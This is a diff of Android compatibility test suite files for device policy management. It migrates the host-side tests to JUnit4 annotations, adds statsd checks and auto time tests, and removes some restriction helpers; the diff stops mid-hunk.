@@ -1750,6 +1906,7 @@
.build());
}
+ @Test
public void testSetAutoTimeRequired() throws Exception {
if (!mHasFeature) {
return;
@@ -1766,10 +1923,45 @@
.build());
}
- public void testEnableSystemAppLogged() throws Exception {
+ @Test
+ public void testSetAutoTime() throws Exception {
if (!mHasFeature) {
return;
}
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".DevicePolicyLoggingTest", "testSetAutoTime");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_AUTO_TIME_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setBoolean(true)
+ .build(),
+ new DevicePolicyEventWrapper.Builder(EventId.SET_AUTO_TIME_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setBoolean(false)
+ .build());
+ }
+
+ @Test
+ public void testSetAutoTimeZone() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".TimeManagementTest", "testSetAutoTimeZone");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_AUTO_TIME_ZONE_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setBoolean(true)
+ .build(),
+ new DevicePolicyEventWrapper.Builder(EventId.SET_AUTO_TIME_ZONE_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setBoolean(false)
+ .build());
+ }
+
+ @Test
+ public void testEnableSystemAppLogged() throws Exception {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
+ return;
+ }
final List<String> enabledSystemPackageNames = getEnabledSystemPackageNames();
// We enable an enabled package to not worry about restoring the state.
final String systemPackageToEnable = enabledSystemPackageNames.get(0);
@@ -1785,8 +1977,9 @@
.build());
}
+ @Test
public void testEnableSystemAppWithIntentLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
final String systemPackageToEnable = getLaunchableSystemPackage();
@@ -1805,8 +1998,9 @@
.build());
}
+ @Test
public void testSetUninstallBlockedLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
installAppAsUser(PERMISSIONS_APP_APK, mUserId);
@@ -1820,6 +2014,7 @@
.build());
}
+ @Test
public void testRandomizedWifiMacAddress() throws Exception {
if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
return;
@@ -1960,7 +2155,7 @@
* Start SimpleActivity synchronously in a particular user.
*/
protected void startSimpleActivityAsUser(int userId) throws Exception {
- installAppAsUser(TEST_APP_APK, userId);
+ installAppAsUser(TEST_APP_APK, /* grantPermissions */ true, /* dontKillApp */ true, userId);
startActivityAsUser(userId, TEST_APP_PKG, TEST_APP_PKG + ".SimpleActivity");
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
index cacb226..7a43fb3 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi25.java
@@ -16,17 +16,9 @@
package com.android.cts.devicepolicy;
-import android.platform.test.annotations.RequiresDevice;
+import android.platform.test.annotations.FlakyTest;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
+import org.junit.Test;
/**
* Set of tests for use cases that apply to profile and device owner with DPC
@@ -44,13 +36,10 @@
protected static final String ADMIN_RECEIVER_TEST_CLASS
= ".BaseDeviceAdminTest$BasicAdminReceiver";
- protected static final String RESET_PASSWORD_TEST_CLASS = ".ResetPasswordTest";
- protected static final String FBE_HELPER_CLASS = ".FbeHelper";
-
protected int mUserId;
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
getDevice().uninstallPackage(TEST_APP_PKG);
@@ -63,30 +52,7 @@
super.tearDown();
}
- /** Test for resetPassword for all devices. */
- public void testResetPassword() throws Exception {
- if (!mHasFeature || !mHasSecureLockScreen) {
- return;
- }
- executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPassword");
- }
-
- /** Additional test for resetPassword for FBE-enabled devices. */
- public void testResetPasswordFbe() throws Exception {
- if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
- return;
- }
-
- // Lock FBE and verify resetPassword is disabled
- executeDeviceTestMethod(FBE_HELPER_CLASS, "testSetPassword");
- rebootAndWaitUntilReady();
- executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPasswordDisabled");
-
- // Unlock FBE and verify resetPassword is enabled again
- executeDeviceTestMethod(FBE_HELPER_CLASS, "testUnlockFbe");
- executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPassword");
- }
-
+ @Test
public void testPermissionGrantPreMApp() throws Exception {
if (!mHasFeature) {
return;
@@ -95,6 +61,24 @@
executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStateAppPreMDeviceAdminPreQ");
}
+ @Test
+ public void testPasswordRequirementsApi() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ executeDeviceTestMethod(".PasswordRequirementsTest",
+ "testPasswordConstraintsDoesntThrowAndPreservesValuesPreR");
+ }
+
+ @Test
+ public void testResetPasswordDeprecated() throws Exception {
+ if (!mHasFeature || !mHasSecureLockScreen) {
+ return;
+ }
+ executeDeviceTestMethod(".ResetPasswordTest", "testResetPasswordDeprecated");
+ }
+
protected void executeDeviceTestClass(String className) throws Exception {
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
index 25168ff..a6b791b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerPlusProfileOwnerTest.java
@@ -17,12 +17,24 @@
package com.android.cts.devicepolicy;
import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+import android.stats.devicepolicy.EventId;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper.Builder;
-import java.util.List;
-import android.stats.devicepolicy.EventId;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.List;
/**
* Tests for having both device owner and profile owner. Device owner is setup for you in
@@ -61,7 +73,7 @@
COMP_DPC_PKG2 + "/com.android.cts.comp.AdminReceiver";
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// We need managed user to be supported in order to create a profile of the user owner.
mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
@@ -81,7 +93,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
assertTrue("Failed to remove device owner.",
removeAdmin(COMP_DPC_ADMIN, mPrimaryUserId));
@@ -93,6 +105,8 @@
/**
* Both device owner and profile are the same package ({@link #COMP_DPC_PKG}).
*/
+ @LargeTest
+ @Test
public void testBindDeviceAdminServiceAsUser_corpOwnedManagedProfile() throws Exception {
if (!mHasFeature) {
return;
@@ -116,6 +130,8 @@
* Same as {@link #testBindDeviceAdminServiceAsUser_corpOwnedManagedProfile} except
* creating managed profile through ManagedProvisioning like normal flow
*/
+ @FlakyTest
+ @Test
public void testBindDeviceAdminServiceAsUser_corpOwnedManagedProfileWithManagedProvisioning()
throws Exception {
if (!mHasFeature) {
@@ -137,6 +153,8 @@
* {@link #testBindDeviceAdminServiceAsUser_corpOwnedManagedProfileWithManagedProvisioning}
* except we don't enable the profile.
*/
+ @FlakyTest
+ @Test
public void testBindDeviceAdminServiceAsUser_canBindEvenIfProfileNotEnabled() throws Exception {
if (!mHasFeature) {
return;
@@ -150,6 +168,7 @@
* Device owner is {@link #COMP_DPC_PKG} while profile owner is {@link #COMP_DPC_PKG2}.
* Therefore it isn't allowed to bind to each other.
*/
+ @Test
public void testBindDeviceAdminServiceAsUser_byodPlusDeviceOwnerCannotBind() throws Exception {
if (!mHasFeature) {
return;
@@ -174,6 +193,8 @@
* Both device owner and profile are the same package ({@link #COMP_DPC_PKG}), as setup
* by createAndManagedUser.
*/
+ @FlakyTest
+ @Test
public void testBindDeviceAdminServiceAsUser_secondaryUser() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
@@ -195,6 +216,8 @@
* Test that the DO can talk to both a managed profile and managed secondary user at the same
* time.
*/
+ @FlakyTest
+ @Test
public void testBindDeviceAdminServiceAsUser_compPlusSecondaryUser() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(2)) {
return;
@@ -217,18 +240,8 @@
verifyBindDeviceAdminServiceAsUser(secondaryUserId);
}
- public void testCannotRemoveProfileIfRestrictionSet() throws Exception {
- if (!mHasFeature) {
- return;
- }
- int profileUserId = setupManagedProfile(COMP_DPC_APK2, COMP_DPC_PKG2, COMP_DPC_ADMIN2);
- addDisallowRemoveManagedProfileRestriction();
- assertFalse(getDevice().removeUser(profileUserId));
-
- clearDisallowRemoveManagedProfileRestriction();
- assertTrue(getDevice().removeUser(profileUserId));
- }
-
+ @FlakyTest(bugId = 141161038)
+ @Test
public void testCannotRemoveUserIfRestrictionSet() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
@@ -241,6 +254,7 @@
assertTrue(getDevice().removeUser(secondaryUserId));
}
+ @Test
public void testCanRemoveProfileEvenIfDisallowRemoveUserSet() throws Exception {
if (!mHasFeature) {
return;
@@ -252,13 +266,13 @@
assertUserGetsRemoved(profileUserId);
}
+ @Test
public void testDoCanRemoveProfileEvenIfUserRestrictionSet() throws Exception {
if (!mHasFeature) {
return;
}
int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
addDisallowRemoveUserRestriction();
- addDisallowRemoveManagedProfileRestriction();
// The DO should be allowed to remove the managed profile, even though disallow remove user
// and disallow remove managed profile restrictions are set.
@@ -270,6 +284,10 @@
assertUserGetsRemoved(profileUserId);
}
+ //TODO(b/138709492) Re-enable once restriction on creating a work profile when there's
+ // a device owner is on by default.
+ @Test
+ @Ignore
public void testCannotAddProfileIfRestrictionSet() throws Exception {
if (!mHasFeature) {
return;
@@ -279,42 +297,35 @@
}
/**
+ * TODO(b/138709492): Remove this test as a part of the COMP deprecation.
* Both device owner and profile are the same package ({@link #COMP_DPC_PKG}).
*/
+ @Test
public void testIsProvisioningAllowed() throws Exception {
if (!mHasFeature) {
return;
}
installAppAsUser(COMP_DPC_APK2, mPrimaryUserId);
- // By default, disallow add managed profile is set, so provisioning a managed profile is
- // not allowed for DPCs other than the device owner.
- assertProvisionManagedProfileNotAllowed(COMP_DPC_PKG2);
- // But the device owner can still provision a managed profile because it owns the
- // restriction.
+ // Disallowing adding managed profile is no longer set by default, so every DPC can
+ // provision a work profile.
+ assertProvisionManagedProfileAllowed(COMP_DPC_PKG2);
+ // Including the device owner, which can still provision a managed profile.
assertProvisionManagedProfileAllowed(COMP_DPC_PKG);
setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
- clearDisallowAddManagedProfileRestriction();
// We've created a managed profile, but it's still possible to delete it to create a new
// one.
assertProvisionManagedProfileAllowed(COMP_DPC_PKG2);
assertProvisionManagedProfileAllowed(COMP_DPC_PKG);
-
- addDisallowRemoveManagedProfileRestriction();
- // Now we can't delete the managed profile any more to create a new one.
- assertProvisionManagedProfileNotAllowed(COMP_DPC_PKG2);
- // But if it is initiated by the device owner, it is still possible, because the device
- // owner itself has set the restriction
- assertProvisionManagedProfileAllowed(COMP_DPC_PKG);
}
+ @Test
public void testWipeData_managedProfile() throws Exception {
if (!mHasFeature) {
return;
}
int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
- addDisallowRemoveManagedProfileRestriction();
// The PO of the managed profile should be allowed to delete the managed profile, even
// though the disallow remove profile restriction is set.
runDeviceTestsAsUser(
@@ -325,17 +336,18 @@
assertUserGetsRemoved(profileUserId);
}
+ @Test
public void testWipeData_managedProfileLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
int profileUserId = setupManagedProfile(COMP_DPC_APK, COMP_DPC_PKG, COMP_DPC_ADMIN);
- addDisallowRemoveManagedProfileRestriction();
assertMetricsLogged(getDevice(), () -> {
runDeviceTestsAsUser(COMP_DPC_PKG, MANAGEMENT_TEST, "testWipeData", profileUserId);
}, WIPE_DATA_WITH_REASON_DEVICE_POLICY_EVENT);
}
+ @Test
public void testWipeData_secondaryUser() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
@@ -352,8 +364,9 @@
assertUserGetsRemoved(secondaryUserId);
}
+ @Test
public void testWipeData_secondaryUserLogged() throws Exception {
- if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+ if (!mHasFeature || !canCreateAdditionalUsers(1) || !isStatsdEnabled(getDevice())) {
return;
}
int secondaryUserId = setupManagedSecondaryUser();
@@ -363,6 +376,7 @@
}, WIPE_DATA_WITH_REASON_DEVICE_POLICY_EVENT);
}
+ @Test
public void testNetworkAndSecurityLoggingAvailableIfAffiliated() throws Exception {
if (!mHasFeature) {
return;
@@ -416,6 +430,8 @@
}
}
+ @FlakyTest
+ @Test
public void testRequestBugreportAvailableIfAffiliated() throws Exception {
if (!mHasFeature) {
return;
@@ -456,6 +472,7 @@
mPrimaryUserId);
}
+ @Test
public void testCannotStartManagedProfileInBackground() throws Exception {
if (!mHasFeature) {
return;
@@ -469,6 +486,7 @@
mPrimaryUserId);
}
+ @Test
public void testCannotStopManagedProfile() throws Exception {
if (!mHasFeature) {
return;
@@ -482,6 +500,7 @@
mPrimaryUserId);
}
+ @Test
public void testCannotLogoutManagedProfile() throws Exception {
if (!mHasFeature) {
return;
@@ -585,24 +604,16 @@
/** Returns the user id of the newly created managed profile */
private int setupManagedProfile(String apkName, String packageName,
String adminReceiverClassName) throws Exception {
- // Temporary disable the DISALLOW_ADD_MANAGED_PROFILE, so that we can create profile
- // using adb command.
- clearDisallowAddManagedProfileRestriction();
- try {
- final int userId = createManagedProfile(mPrimaryUserId);
- installAppAsUser(apkName, userId);
- setProfileOwnerOrFail(adminReceiverClassName, userId);
- startUserAndWait(userId);
- runDeviceTestsAsUser(
- packageName,
- MANAGEMENT_TEST,
- "testIsManagedProfile",
- userId);
- return userId;
- } finally {
- // Adding back DISALLOW_ADD_MANAGED_PROFILE.
- addDisallowAddManagedProfileRestriction();
- }
+ final int userId = createManagedProfile(mPrimaryUserId);
+ installAppAsUser(apkName, userId);
+ setProfileOwnerOrFail(adminReceiverClassName, userId);
+ startUserAndWait(userId);
+ runDeviceTestsAsUser(
+ packageName,
+ MANAGEMENT_TEST,
+ "testIsManagedProfile",
+ userId);
+ return userId;
}
/** Returns the user id of the newly created secondary user */
@@ -632,50 +643,6 @@
}
/**
- * Clear {@link android.os.UserManager#DISALLOW_ADD_MANAGED_PROFILE}.
- */
- private void clearDisallowAddManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- COMP_DPC_PKG,
- USER_RESTRICTION_TEST,
- "testClearDisallowAddManagedProfileRestriction",
- mPrimaryUserId);
- }
-
- /**
- * Add {@link android.os.UserManager#DISALLOW_ADD_MANAGED_PROFILE}.
- */
- private void addDisallowAddManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- COMP_DPC_PKG,
- USER_RESTRICTION_TEST,
- "testAddDisallowAddManagedProfileRestriction",
- mPrimaryUserId);
- }
-
- /**
- * Clear {@link android.os.UserManager#DISALLOW_REMOVE_MANAGED_PROFILE}.
- */
- private void clearDisallowRemoveManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- COMP_DPC_PKG,
- USER_RESTRICTION_TEST,
- "testClearDisallowRemoveManagedProfileRestriction",
- mPrimaryUserId);
- }
-
- /**
- * Add {@link android.os.UserManager#DISALLOW_REMOVE_MANAGED_PROFILE}.
- */
- private void addDisallowRemoveManagedProfileRestriction() throws Exception {
- runDeviceTestsAsUser(
- COMP_DPC_PKG,
- USER_RESTRICTION_TEST,
- "testAddDisallowRemoveManagedProfileRestriction",
- mPrimaryUserId);
- }
-
- /**
* Add {@link android.os.UserManager#DISALLOW_REMOVE_USER}.
*/
private void addDisallowRemoveUserRestriction() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index d2f5a08..8a5d09e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -17,7 +17,15 @@
package com.android.cts.devicepolicy;
import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
import android.stats.devicepolicy.EventId;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -26,6 +34,9 @@
import com.google.common.io.ByteStreams;
+import org.junit.Ignore;
+import org.junit.Test;
+
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
@@ -100,8 +111,17 @@
/** CreateAndManageUser is available and an additional user can be created. */
private boolean mHasCreateAndManageUserFeature;
+ /**
+ * Copied from {@link android.app.admin.DevicePolicyManager}
+ */
+ private static final String GLOBAL_SETTING_AUTO_TIME = "auto_time";
+ private static final String GLOBAL_SETTING_AUTO_TIME_ZONE = "auto_time_zone";
+ private static final String GLOBAL_SETTING_DATA_ROAMING = "data_roaming";
+ private static final String GLOBAL_SETTING_USB_MASS_STORAGE_ENABLED =
+ "usb_mass_storage_enabled";
+
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
if (mHasFeature) {
installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
@@ -121,7 +141,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
assertTrue("Failed to remove device owner.",
removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId));
@@ -134,34 +154,12 @@
super.tearDown();
}
+ @Test
public void testDeviceOwnerSetup() throws Exception {
executeDeviceOwnerTest("DeviceOwnerSetupTest");
}
- public void testLockScreenInfo() throws Exception {
- if (!mHasFeature) {
- return;
- }
- executeDeviceOwnerTest("LockScreenInfoTest");
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".LockScreenInfoTest", "testSetAndGetLockInfo");
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_DEVICE_OWNER_LOCK_SCREEN_INFO_VALUE)
- .setAdminPackageName(DEVICE_OWNER_PKG)
- .build());
- }
-
- public void testWifi() throws Exception {
- if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
- return;
- }
- executeDeviceOwnerTest("WifiTest");
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".WifiTest", "testGetWifiMacAddress");
- }, new DevicePolicyEventWrapper.Builder(EventId.GET_WIFI_MAC_ADDRESS_VALUE)
- .setAdminPackageName(DEVICE_OWNER_PKG)
- .build());
- }
-
+ @Test
public void testRemoteBugreportWithTwoUsers() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
@@ -175,6 +173,8 @@
}
}
+ @FlakyTest(bugId = 137071121)
+ @Test
public void testCreateAndManageUser_LowStorage() throws Exception {
if (!mHasCreateAndManageUserFeature) {
return;
@@ -197,6 +197,7 @@
}
}
+ @Test
public void testCreateAndManageUser_MaxUsers() throws Exception {
if (!mHasCreateAndManageUserFeature) {
return;
@@ -217,6 +218,7 @@
* Test creating an user using the DevicePolicyManager's createAndManageUser.
* {@link android.app.admin.DevicePolicyManager#getSecondaryUsers} is tested.
*/
+ @Test
public void testCreateAndManageUser_GetSecondaryUsers() throws Exception {
if (!mHasCreateAndManageUserFeature) {
return;
@@ -231,6 +233,8 @@
* to the user.
* {@link android.app.admin.DevicePolicyManager#switchUser} is tested.
*/
+ @FlakyTest(bugId = 131743223)
+ @Test
public void testCreateAndManageUser_SwitchUser() throws Exception {
if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
return;
@@ -245,6 +249,7 @@
* to the user to test stop user while target user is in foreground.
* {@link android.app.admin.DevicePolicyManager#stopUser} is tested.
*/
+ @Test
public void testCreateAndManageUser_CannotStopCurrentUser() throws Exception {
if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
return;
@@ -259,6 +264,7 @@
* the user in background to test APIs on that user.
* {@link android.app.admin.DevicePolicyManager#startUserInBackground} is tested.
*/
+ @Test
public void testCreateAndManageUser_StartInBackground() throws Exception {
if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
return;
@@ -273,6 +279,7 @@
* the user in background to test APIs on that user.
* {@link android.app.admin.DevicePolicyManager#startUserInBackground} is tested.
*/
+ @Test
public void testCreateAndManageUser_StartInBackground_MaxRunningUsers() throws Exception {
if (!mHasCreateAndManageUserFeature) {
return;
@@ -303,6 +310,7 @@
* the user in background to test APIs on that user.
* {@link android.app.admin.DevicePolicyManager#stopUser} is tested.
*/
+ @Test
public void testCreateAndManageUser_StopUser() throws Exception {
if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
return;
@@ -318,6 +326,7 @@
* and start the user in background, user is then stopped. The user should be removed
* automatically even when DISALLOW_REMOVE_USER is set.
*/
+ @Test
public void testCreateAndManageUser_StopEphemeralUser_DisallowRemoveUser() throws Exception {
if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
return;
@@ -333,6 +342,7 @@
* the user and start the user in background to test APIs on that user.
* {@link android.app.admin.DevicePolicyManager#logoutUser} is tested.
*/
+ @Test
public void testCreateAndManageUser_LogoutUser() throws Exception {
if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
return;
@@ -348,6 +358,7 @@
* the user and start the user in background to test APIs on that user.
* {@link android.app.admin.DevicePolicyManager#isAffiliatedUser} is tested.
*/
+ @Test
public void testCreateAndManageUser_Affiliated() throws Exception {
if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
return;
@@ -362,6 +373,7 @@
* affiliate the user and start the user in background to test APIs on that user.
* {@link android.app.admin.DevicePolicyManager#isEphemeralUser} is tested.
*/
+ @Test
public void testCreateAndManageUser_Ephemeral() throws Exception {
if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
return;
@@ -384,6 +396,7 @@
* the user and start the user in background to test APIs on that user.
* {@link android.app.admin.DevicePolicyManager#LEAVE_ALL_SYSTEM_APPS_ENABLED} is tested.
*/
+ @Test
public void testCreateAndManageUser_LeaveAllSystemApps() throws Exception {
if (!mHasCreateAndManageUserFeature || !canStartAdditionalUsers(1)) {
return;
@@ -393,6 +406,7 @@
"testCreateAndManageUser_LeaveAllSystemApps");
}
+ @Test
public void testCreateAndManageUser_SkipSetupWizard() throws Exception {
if (mHasCreateAndManageUserFeature) {
executeDeviceTestMethod(".CreateAndManageUserTest",
@@ -400,6 +414,7 @@
}
}
+ @Test
public void testCreateAndManageUser_AddRestrictionSet() throws Exception {
if (mHasCreateAndManageUserFeature) {
executeDeviceTestMethod(".CreateAndManageUserTest",
@@ -407,6 +422,7 @@
}
}
+ @Test
public void testCreateAndManageUser_RemoveRestrictionSet() throws Exception {
if (mHasCreateAndManageUserFeature) {
executeDeviceTestMethod(".CreateAndManageUserTest",
@@ -414,6 +430,8 @@
}
}
+ @FlakyTest(bugId = 126955083)
+ @Test
public void testUserAddedOrRemovedBroadcasts() throws Exception {
if (mHasCreateAndManageUserFeature) {
executeDeviceTestMethod(".CreateAndManageUserTest",
@@ -421,6 +439,7 @@
}
}
+ @Test
public void testUserSession() throws Exception {
if (!mHasFeature) {
return;
@@ -428,6 +447,7 @@
executeDeviceOwnerTest("UserSessionTest");
}
+ @Test
public void testSecurityLoggingWithTwoUsers() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
@@ -448,6 +468,8 @@
}
}
+ @FlakyTest(bugId = 137093665)
+ @Test
public void testSecurityLoggingWithSingleUser() throws Exception {
if (!mHasFeature) {
return;
@@ -490,8 +512,9 @@
}
}
+ @Test
public void testSecurityLoggingEnabledLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
assertMetricsLogged(getDevice(), () -> {
@@ -515,6 +538,7 @@
}
}
+ @Test
public void testNetworkLoggingWithTwoUsers() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
@@ -531,6 +555,8 @@
}
}
+ @FlakyTest(bugId = 137092833)
+ @Test
public void testNetworkLoggingWithSingleUser() throws Exception {
if (!mHasFeature) {
return;
@@ -540,6 +566,7 @@
Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(1)));
}
+ @Test
public void testNetworkLogging_multipleBatches() throws Exception {
if (!mHasFeature) {
return;
@@ -548,6 +575,8 @@
Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(2)));
}
+ @LargeTest
+ @Test
public void testNetworkLogging_rebootResetsId() throws Exception {
if (!mHasFeature) {
return;
@@ -565,6 +594,7 @@
}
+ @Test
public void testSetAffiliationId_IllegalArgumentException() throws Exception {
if (!mHasFeature) {
return;
@@ -573,20 +603,22 @@
executeDeviceTestMethod(".AffiliationTest", "testSetAffiliationId_containsEmptyString");
}
+ @LargeTest
+ @Test
+ @Ignore("b/145932189")
public void testSystemUpdatePolicy() throws Exception {
if (!mHasFeature) {
return;
}
- // Disabled due to 145932189
- // executeDeviceOwnerTest("SystemUpdatePolicyTest");
+ executeDeviceOwnerTest("SystemUpdatePolicyTest");
}
+ @Test
+ @Ignore("b/145932189")
public void testSetSystemUpdatePolicyLogged() throws Exception {
- if (!mHasFeature) {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
return;
}
- // Disabled due to 145932189
- /*
assertMetricsLogged(getDevice(), () -> {
executeDeviceTestMethod(".SystemUpdatePolicyTest", "testSetAutomaticInstallPolicy");
}, new DevicePolicyEventWrapper.Builder(EventId.SET_SYSTEM_UPDATE_POLICY_VALUE)
@@ -611,9 +643,10 @@
.setAdminPackageName(DEVICE_OWNER_PKG)
.setInt(TYPE_NONE)
.build());
- */
}
+ @FlakyTest(bugId = 127101449)
+ @Test
public void testWifiConfigLockdown() throws Exception {
final boolean hasWifi = hasDeviceFeature("android.hardware.wifi");
if (hasWifi && mHasFeature) {
@@ -632,6 +665,7 @@
/**
* Execute WifiSetHttpProxyTest as device owner.
*/
+ @Test
public void testWifiSetHttpProxyTest() throws Exception {
final boolean hasWifi = hasDeviceFeature("android.hardware.wifi");
if (hasWifi && mHasFeature) {
@@ -639,6 +673,7 @@
}
}
+ @Test
public void testCannotSetDeviceOwnerAgain() throws Exception {
if (!mHasFeature) {
return;
@@ -662,6 +697,7 @@
}
// Execute HardwarePropertiesManagerTest as a device owner.
+ @Test
public void testHardwarePropertiesManagerAsDeviceOwner() throws Exception {
if (!mHasFeature) {
return;
@@ -671,6 +707,7 @@
}
// Execute VrTemperatureTest as a device owner.
+ @Test
public void testVrTemperaturesAsDeviceOwner() throws Exception {
if (!mHasFeature) {
return;
@@ -679,6 +716,7 @@
executeDeviceTestMethod(".VrTemperatureTest", "testVrTemperatures");
}
+ @Test
public void testIsManagedDeviceProvisioningAllowed() throws Exception {
if (!mHasFeature) {
return;
@@ -691,6 +729,7 @@
/**
* Can provision Managed Profile when DO is set by default if they are the same admin.
*/
+ @Test
public void testIsManagedProfileProvisioningAllowed_deviceOwnerIsSet() throws Exception {
if (!mHasFeature) {
return;
@@ -702,26 +741,32 @@
"testIsProvisioningAllowedTrueForManagedProfileAction");
}
+ @FlakyTest(bugId = 137096267)
+ @Test
public void testAdminActionBookkeeping() throws Exception {
if (!mHasFeature) {
return;
}
executeDeviceOwnerTest("AdminActionBookkeepingTest");
- assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRetrieveSecurityLogs");
- }, new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_SECURITY_LOGS_VALUE)
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
